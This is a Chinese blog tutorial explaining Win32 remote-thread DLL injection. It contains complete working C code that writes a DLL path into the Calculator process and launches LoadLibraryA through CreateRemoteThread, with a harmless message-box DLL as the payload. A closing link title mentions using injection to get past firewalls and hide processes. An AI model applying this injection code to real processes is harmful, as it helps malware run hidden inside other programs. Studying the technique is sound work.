Win32 利用远程线程注入dll
Posted 不会写代码的丝丽
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了Win32 利用远程线程注入dll相关的知识,希望对你有一定的参考价值。
一些程序会利用CreateRemoteThread
这个函数为其他进程创建一个线程,而传入的线程回调函数地址为kernel32.dll
的LoadLibraryA
函数。
这个函数最原始的功能是用来加载动态库的,而且这个函数可以和最原始的线程回调函数声明是相同的。因此一些Hack利用这个特性来完成一些跨进程dll注入。
我们首先观察下这个函数
//kernel32.dll
HMODULE
WINAPI
LoadLibraryA(_In_ LPCSTR lpLibFileName);
在对比下最原始的线程回调函数
typedef DWORD (WINAPI *PTHREAD_START_ROUTINE)(
LPVOID lpThreadParameter
);
可以发现两个函数传入的参数是一样的(单个参数且都可以视为char*),所以我们利用这个特性完成一些奇淫技巧(传入的参数为dll地址那不就可以加载一个库了吗)。
我们首先定下一个目标程序给其注入一个dll,并打印一个弹出窗口。
目标程序这里选取的计算器
我们的dll代码如下:
//dll被加载的时候会回调这个函数
BOOL APIENTRY DllMain( HMODULE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
)
{
OutputDebugString("Your was injected by test ");
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
MessageBox(NULL, "成功注入dll", "注入提示", MB_OK);
break;
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}
预期效果如下:
我们首先看CreateRemoteThread
文档
CreateRemoteThread 文档
HANDLE CreateRemoteThread(
HANDLE hProcess,//指定为哪一个进程创建线程
LPSECURITY_ATTRIBUTES lpThreadAttributes,//安全属性
SIZE_T dwStackSize, //指定栈大小
LPTHREAD_START_ROUTINE lpStartAddress,//回调函数
LPVOID lpParameter,//回调的参数
DWORD dwCreationFlags,//创建一些标识符 我们传0即可
LPDWORD lpThreadId //线程id 可以传NULL
);
我们的大致流程:
- 寻找计算器的句柄
- 获取
kernel32
模块中的LoadLibraryA
函数地址。 - 将dll字符串的内容拷贝到
计算器
进程 - 调用
CreateRemoteThread
为计算器进程创建线程,回调函数为LoadLibraryA
,回调函数的传入参数为dll目录字符串地址 - 资源释放
int main()
{
/**
第一步:寻找计算器的句柄
**/
//返回窗口句柄
HWND hWndCalc = FindWindow(NULL, "计算器");
DWORD wdproId = 0;
//获取窗口句柄对应的线程ID https://docs.microsoft.com/en-us/windows/win32/api/winuser/nf-winuser-getwindowthreadprocessid
GetWindowThreadProcessId(hWndCalc, &wdproId);
//返回进程的句柄
HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, wdproId);
/**
第二步: 获取`kernel32`模块中的`LoadLibraryA`函数地址
**/
//得到加载kernel32模块的句柄
HMODULE hModker = GetModuleHandle("kernel32");
//从指定的动态链接库 (DLL) 中检索导出函数或变量的地址。
LPVOID pLoadLibrary = GetProcAddress(hModker, "LoadLibraryA");
/**
第三步: 将dll字符串的内容拷贝到`计算器`进程
**/
char szDllPath[] = { "C:\\\\Users\\\\fmy\\\\source\\\\repos\\\\MyDllProject\\\\x64\\\\Debug\\\\MyDllProject.dll" };
//https://docs.microsoft.com/en-us/windows/win32/api/memoryapi/nf-memoryapi-virtualallocex
LPVOID pPathBuf = VirtualAllocEx(hProcess, NULL, sizeof(szDllPath), MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
if (pPathBuf == NULL)
{
return 0;
}
SIZE_T writeWord;
WriteProcessMemory(hProcess, pPathBuf, szDllPath, sizeof(szDllPath), &writeWord);
/**
第四步: 调用`CreateRemoteThread`为计算器进程创建线程,回调函数为`LoadLibraryA`,回调函数的传入参数为dll目录字符串地址
**/
HANDLE hTread = CreateRemoteThread(
hProcess,
NULL,
0,
(LPTHREAD_START_ROUTINE)pLoadLibrary,
(LPVOID)pPathBuf,
0,
NULL
);
/**
第五步:资源释放
**/
WaitForSingleObject(hTread, INFINITE);
BOOL result = VirtualFreeEx(hProcess, pPathBuf, 0, MEM_RELEASE);
CloseHandle(hTread);
return EXIT_SUCCESS;
}
需要注意一点:你要特别留意目标进程和dll库以及注入进程的位数必须要相同。比如全部都是64位等
为什么需要第三步: 将dll字符串的内容拷贝到计算器
进程 ?
因为这个字符串内容现在在你的进程内存中,而对于计算器进程来说是不可以访问到的
以上是关于Win32 利用远程线程注入dll的主要内容,如果未能解决你的问题,请参考以下文章
安全之路 —— 利用远程线程注入的方法(使用DLL)实现穿墙与隐藏进程